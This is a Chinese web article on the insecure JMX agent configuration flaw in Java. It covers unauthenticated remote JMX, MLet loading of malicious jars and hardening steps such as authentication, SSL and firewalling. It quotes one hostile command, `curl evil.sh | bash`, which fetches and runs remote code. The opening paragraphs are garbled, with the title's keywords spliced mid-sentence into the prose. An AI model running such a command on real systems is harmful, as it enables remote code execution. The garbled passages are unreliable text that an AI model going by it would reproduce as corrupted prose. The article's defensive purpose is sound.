您现在的位置是:综合 >>正文

java jmx agent不安全的配置漏洞

综合22人已围观

简介一个普通的下午,运维同事老李盯着监控屏上的CPU曲线骂了句脏话。那台跑着Java应用的服务器,负载从5%一路飙到95%,像被什么东西掐住了喉咙。查了半天,最后在jconsole里看到几百个陌生线程在疯 ...

一个普通的不安下午,运维同事老李盯着监控屏上的配置CPU曲线骂了句脏话。那台跑着Java应用的漏洞服务器,负载从5%一路飙到95%,不安像被什么东西掐住了喉咙。配置查了半天,漏洞最后在jconsole里看到几百个陌生线程在疯狂执行反射调用——有人通过JMX端口远程注册了一个MBean,不安正在反复枚举系统属性。配置

这不是漏洞什么高深的攻击。JMX(Java Management Extensions)本来是不安给管理员用的远程管理工具,默认端口1099,配置能读能写。漏洞很多团队图省事,不安直接`-Dcom.sun.management.jmxremote.port=1099`一开,配置不设密码,漏洞不配SSL,扔到公网上就算完事。结果就是,任何能访问到这个端口的人,都能像本地管理员一样操作你的JVM。

最讽刺的是,这类漏洞在扫描器里属于“低危”或“中危”,因为很多安全工程师觉得“反正Java进程里没什么敏感数据”。但他们没想过,JMX能加载任意类,能调用`javax.management.loading.MLet`远程加载一个恶意jar包。你服务器上跑的如果是Spring Boot应用,那这个MLet能直接拿到`Runtime`对象,执行`exec("curl evil.sh | bash")`——跟拿到shell没区别。

我见过一个真实案例。某金融公司内部系统,开发环境开了JMX没关,结果被内网扫描器扫到。攻击者没急着提权,而是先注册了一个监听`java.lang:type=Memory`的NotificationListener,每次垃圾回收都触发一次回调,把堆内存数据偷偷dump到远程。整整跑了两个月,没人发现,直到数据泄露被监管通报。

修复方案其实不复杂。第一,绝对不要用`-Dcom.sun.management.jmxremote`这种裸奔方式,要显式指定`-Dcom.sun.management.jmxremote.authenticate=true`和`-Dcom.sun.management.jmxremote.ssl=true`。第二,用防火墙把JMX端口限制在管理网段内,别让业务IP能直接访问。第三,更激进一点,干脆不用远程JMX,改用Jolokia之类的HTTP桥接,通过认证后走REST接口,至少能配个API网关限流。

但现实是,很多老项目的启动脚本里还留着三年前的参数,没人敢动。有个开发跟我说过:“改JMX配置?万一影响线上JVM参数调优怎么办?”——这种心态才是最大的漏洞。你想想,一个能远程执行任意代码的端口,居然因为“怕麻烦”而敞开着,这跟把家门钥匙放在门口垫子下有什么区别。

安全这东西,往往不是被高深的漏洞击穿的,而是被“临时用一下”“内网应该没事”这种侥幸心理磨破的。JMX agent的不安全配置就是个典型例子——它本身不是漏洞,但配上人的懒惰,就成了最容易被利用的后门。哪天你巡检时看到`jconsole`能直接连上生产环境,别犹豫,那已经不算配置问题了,那是事故现场。

Tags:

相关文章

  • 谷歌手机无法验证

    综合

    去年冬天,我同事老张在王府井的谷歌体验店折腾了整整一个下午。新买的Pixel 9 Pro,插上国内SIM卡,设置向导走到“验证您的手机”那一步,屏幕上的转圈圈能转半小时。店员摊手:“这机器水土不服,您 ...

    【综合】

    阅读更多
  • 启明星辰入侵检测

    综合

    启明星辰入侵检测 凌晨三点,某省政务云平台的告警大屏上,一条横向移动的流量轨迹正悄悄穿过防火墙的盲区。若不是启明星辰的IDS设备在第三层交换节点上多看了一眼,这场针对社保系统的渗透可能要到数据落地时才 ...

    【综合】

    阅读更多
  • 游戏bug刷物品违法吗

    综合

    游戏里刷bug搞装备,到底算不算违法?我直接说结论:**大概率违法,但离坐牢还有段距离,卡在民事和刑事的灰色地带。** 去年《逆水寒》有个玩家利用交易漏洞复制稀有道具,短短三天刷了价值二十多万人民币的 ...

    【综合】

    阅读更多


友情链接